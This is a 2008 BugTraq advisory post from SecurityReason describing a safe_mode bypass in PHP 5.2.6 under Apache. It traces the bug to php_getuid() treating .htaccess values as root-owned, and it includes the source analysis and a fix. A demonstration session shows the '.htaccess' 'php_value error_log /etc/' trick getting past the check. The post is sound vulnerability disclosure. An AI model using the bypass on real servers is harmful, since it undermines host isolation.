BugTraq
SecurityReason: PHP 5.2.6 SAPI php_getuid() overload Dec 06 2008 07:40PM
cxib securityreason com (1 replies)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ SecurityReason.com : PHP 5.2.6 SAPI php_getuid() overload ]

Author: Maksymilian Arciemowicz
securityreason.com
Date:
- - Written: 20.11.2008
- - Public: 05.12.2008

SecurityReason Research
SecurityAlert Id: 59

SecurityRisk: High

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/59
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

http://pl.php.net/manual/pl/refs.utilspec.server.php

- --- 1.PHP 5.2.6 SAPI php_getuid() overload ---

Using PHP 5.2.6, as a Apache module can bypass many security points. To understand this issue, first we need know, where is the problem.

127# cd /www/trafka
127# ls -la
total 12
drwxr-xr-x 2 www www 512 Sep 10 03:49 .
drwxr-xr-x 4 www www 512 Sep 10 03:41 ..
- -rw-r--r-- 1 www www 26 Sep 10 03:49 .htaccess
- -rw-r--r-- 1 www www 33 Sep 10 03:49 not.php
- -rw-r--r-- 1 www www 107 Sep 10 03:49 pufff.php
- -rw-r--r-- 1 www www 27 Sep 10 03:49 sleep.php
127# cat .htaccess
php_value error_log /etc/
127# cat not.php
<?php
echo "only echo\n";
?>
127# cat pufff.php
<?php
echo "safe_mode=".ini_get("safe_mode")."\n";
echo "error_log=".ini_get("error_log")."\n";
?>
127# cat sleep.php
<?php
sleep(60*2);
?>
127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127#

Now error_log is empty

Example exploit:

127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/

any new "apache child" process, allow overload environment like error_log.

127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127#So what is wrong?

Let's try to understand this problem. Let's start with a difference

www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd

and

www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd

RSS: 14288-14248 = 40

memory leak? No.

In first request, we have declared error_log, via .htaccess.

- --- main/main.c ---
..
STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals)
..
- --- main/main.c ---

goto OnUpdateErrorLog

- --- main/main.c ---
..
static PHP_INI_MH(OnUpdateErrorLog)
{
/* Only do the safemode/open_basedir check at runtime */
if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) &&
strcmp(new_value, "syslog")) {
if (PG(safe_mode) && (!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR))) {
return FAILURE;
}

if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) {
return FAILURE;
}

}
OnUpdateString(entry, new_value, new_value_length, mh_arg1, mh_arg2, mh_arg3, stage TSRMLS_CC);
return SUCCESS;
}
..
- --- main/main.c ---

(!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR)) <==> False

deeper into safe_mode.c, function php_checkuid()

- --- main/safe_mode.c ---
..
uid = sb.st_uid;
gid = sb.st_gid;
if (uid == php_getuid()) {
return 1;
..
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
..
- --- main/safe_mode.c ---

php_getuid() does not return the correct value at the time of checking safe_mode
for "/etc/"

First request
uid = php_getuid() <==> True
0 <=> uid <=> php_getuid() <==> True

Next request:
uid = php_getuid() <==> False
0 <=> 80 <==> False

because
80 (www uid) = php_getuid()
0 = uid (/etc/ owned by root)

- --- ext/standard/pageinfo.h ---
..
extern long php_getuid(void);
..
- --- ext/standard/pageinfo.h ---

- --- ext/standard/pageinfo.c ---
..
long php_getuid(void)
{
TSRMLS_FETCH();

php_statpage(TSRMLS_C);
return (BG(page_uid));
}
..
- --- ext/standard/pageinfo.c ---

- --- ext/standard/pageinfo.c ---
..
pstat = sapi_get_stat(TSRMLS_C);

if (BG(page_uid)==-1 || BG(page_gid)==-1) {
if(pstat) {
BG(page_uid) = pstat->st_uid;
..
- --- ext/standard/pageinfo.c ---

php_getuid() will return corrected value, after first request.

Let's see to SAPI.c

- --- SAPI.c ---
..
SAPI_API struct stat *sapi_get_stat(TSRMLS_D)
{
if (sapi_module.get_stat) {
return sapi_module.get_stat(TSRMLS_C);
..
- --- SAPI.c ---

for apache 1.3.41, mod_php5.c

- --- mod_php5.c ---
..
/* {{{ php_apache_get_stat
*/
static struct stat *php_apache_get_stat(TSRMLS_D)
{
return &((request_rec *) SG(server_context))->finfo;
}
..
- --- mod_php5.c ---

SG(server_context) <=> 0x0

that same situation in sapi_apache2.c for Apache2

Where is problem? In:

if (BG(page_uid)==-1 || BG(page_gid)==-1)

For varibles in .htaccess, BG(page_uid) isn't set.

(BG(page_uid)==-1 || BG(page_gid)==-1) <==> False

=>

( BG(page_uid) <=> 0 <=> BG(page_gid) ) <==> True

uid(0) <=> root

for the values of the .htaccess

This analysis was for variable error_log. We can not determine all the possible use of this error.

There are other potential uses this issue. SecurityReason is not going to release a official exploit to the general public.

- --- 2. How to fix (proof) ---
5.2.7

proof:

0 Step. Add, into main/main.c
- --
static PHP_INI_MH(OnUpdateErrorLog)
{
/* Only do the safemode/open_basedir check at runtime */
+ BG(page_uid)=-2; // -2 isnt registred
+ BG(page_gid)=-2; // -2 isnt registred
- --

1 Step. Add, into pageinfo.c, end of the main loop in php_statpage()
- ---
- - }
+ } else if (BG(page_uid)==-2 || BG(page_gid)==-2) {
+ BG(page_uid) = getuid();
+ BG(page_gid) = getgid();
+ }
- ---

It is fix ONLY for error_log in .htaccess.

Official fix
http://cvs.php.net/viewvc.cgi/php-src/sapi/apache/mod_php5.c?r1=1.19.2.7
.2.15&r2=1.19.2.7.2.16&diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/basic_functions.c?r1=
1.725.2.31.2.78&r2=1.725.2.31.2.79&diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1340&r2=1.2
027.2.547.2.1341&diff_format=u

- --- 3. Greets ---
Stanislav Malyshev sp3x Chujwamwdupe p_e_a schain pi3 Infospec

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (OpenBSD)

iEYEARECAAYFAkk5OIQACgkQpiCeOKaYa9a95wCgiTT2Fl6SNQbFDnHWyQTtlkG8
g0gAoJzijUB94mtnCGlK/7/cFDw9R2gD
=Q0rV
-----END PGP SIGNATURE-----

[ reply ]
Re: SecurityReason: PHP 5.2.6 SAPI php_getuid() overload Dec 08 2008 10:49AM
Eygene Ryabinkin (rea-sec codelabs ru) (1 replies)
Re: SecurityReason: PHP 5.2.6 SAPI php_getuid() overload Dec 08 2008 01:14PM
Maksymilian Arciemowicz (cxib securityreason com) (1 replies)
Re: SecurityReason: PHP 5.2.6 SAPI php_getuid() overload Dec 08 2008 01:47PM
Eygene Ryabinkin (rea-sec codelabs ru)


 

Privacy Statement
Copyright 2010, SecurityFocus